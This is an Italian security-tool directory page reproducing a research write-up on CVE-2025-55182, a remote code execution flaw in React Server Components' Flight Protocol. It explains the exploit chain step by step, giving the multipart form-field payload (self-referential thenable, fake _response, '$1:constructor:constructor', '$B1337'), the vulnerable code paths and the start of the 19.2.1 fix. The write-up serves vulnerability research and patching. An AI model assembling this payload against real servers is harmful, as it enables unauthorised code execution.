Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/ejpir/cve-2025-55182-research
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebBypass WAFPaper e RicercaApprendimento e FormazioneSviluppo Payload
GitHubejpir/cve-2025-55182-research

CVE-2025-55182-research

Analisi tecnica proof-of-concept e approfondimento di CVE-2025-55182, una vulnerabilità RCE critica nel Flight Protocol di React tramite path traversal, iniezione di chunk falsi e abuso del gestore $B.

Vedi Repository
795202279 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-55182 - React Server Components RCE

NOTE: Written by AI/Claude

https://github.com/ejpir/CVE-2025-55182-bypass

TL;DR

CVE-2025-55182 è una vulnerabilità RCE critica nel Flight Protocol di React. La catena di attacco combina path traversal + iniezione di chunk fittizi + abuso dell'handler $B per eseguire Function(attacker_code).

Un grande ringraziamento a maple3142 per la catena di sfruttamento funzionante!


L'exploit

Panoramica dell'attacco

L'exploit usa tre campi del form per costruire un payload malevolo:

  1. Crea un oggetto chunk fittizio con then auto-referenziale (campo 1 $@0 → campo 0)
  2. Incorpora una _response fittizia con _formData.get impostato su $1:constructor:constructor
  3. Attiva il gestore $B che chiama response._formData.get(response._prefix + id)
  4. Il path traversal risolve _formData.get → Function, eseguendo Function(code)

Flusso di sfruttamento```

┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

### Componenti chiave

| Componente | Scopo |
|-----------|---------|
| `then: "$1:__proto__:then"` | Thenable auto-referenziale; il chunk 1 (`$@0`) punta di nuovo al chunk 0 |
| `status: "resolved_model"` | Rende l'oggetto simile a un chunk React valido |
| `reason: -1` | Imposta rootReference su undefined (evita conflitti di riferimento) |
| `value: '{"then":"$B1337"}'` | Payload annidato che attiva il gestore `$B` |
| `_response._prefix` | Contiene la stringa di codice RCE |
| `_response._chunks: "$Q2"` | Map vuota per prevenire crash durante l'elaborazione dei chunk |
| `_response._formData.get` | Punta a `Function` tramite `$1:constructor:constructor` |

### Approfondimento sui componenti

#### Struttura dei campi del modulo

L'exploit utilizza tre campi del modulo con riferimenti circolari:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0"    ← references back to field 0
Field 2: []       ← empty array for _chunks Map

Thenable Auto-referenziale (then)

Il then: "$1:__proto__:then" crea un auto-riferimento che risolve a una funzione reale:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

**Perché questo è fondamentale:**

1. `then` si risolve in `Chunk.prototype.then` - una funzione reale richiamabile
2. Questo rende il falso oggetto un thenable valido
3. Quando viene atteso, JS chiama `obj.then(resolve, reject)`
4. `Chunk.prototype.then` viene eseguito con il falso oggetto come `this`:```javascript
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {  // this.status = "resolved_model" ✓
    case "resolved_model":
      initializeModelChunk(this);  // fake object passed!
  1. initializeModelChunk(this) usa this._response - il falso _response dell'attaccante:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );
**Senza l'autoriferimento**, il falso `_response` non verrebbe mai utilizzato. L'autoriferimento fa sì che `Chunk.prototype.then` tratti l'oggetto dell'attaccante come un vero Chunk.

#### Trigger Thenable a Due Stadi (`value`)

Il campo `value` contiene una stringa JSON annidata con un altro thenable:```json
{"then":"$B1337"}

Fase 1: Il then auto-referenziale dell'oggetto esterno attiva l'elaborazione dei chunk

Fase 2: Quando React risolve il modello, analizza value e incontra un altro oggetto thenable con then: "$B1337". Il prefisso $B attiva l'handler:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

`_formData.get` è `"$1:constructor:constructor"` → `getOutlinedModel()` risolve in `Function`.

Questo diventa: `Function(code + "1337")` → JS valido perché `1337` è solo un'espressione finale.

#### Padding difensivo (`_chunks`)

Il falso `_response` necessita di una proprietà `_chunks` valida per evitare crash:```
Form field "2": []           ← empty array
_chunks: "$Q2"               ← $Q = Map type, creates new Map([])

Il codice interno di React può accedere a response._chunks.get() o response._chunks.has() durante l'elaborazione. Una Map vuota soddisfa queste chiamate senza errori, consentendo all'esecuzione di raggiungere il gestore vulnerabile $B.


Percorsi di codice vulnerabili

PathFunzioneScopo nell'exploit
Path TraversalgetOutlinedModel()Risolve $1:constructor:constructor → Function
Iniezione di _response fittizioinitializeModelChunk()Usa il chunk._response dell'attaccante
Gestore $BparseModelString()Chiama _formData.get(_prefix + id) → RCE

decodeReply() è il punto di ingresso, non è di per sé vulnerabile.

Path Traversal (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

**Uso della risposta fittizia** (`initializeModelChunk()`):```javascript
value = reviveModel(
  chunk._response,  // Uses chunk._response directly!
  { "": rawModel },
  ...
);

$B Handler RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

---

## La correzione (19.2.1)

La patch include molteplici correzioni:

1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - Correzione critica   ```javascript
   // BEFORE: chunk._response (attacker can set via JSON)
   value = reviveModel(chunk._response, ...);
Scarica lo strumento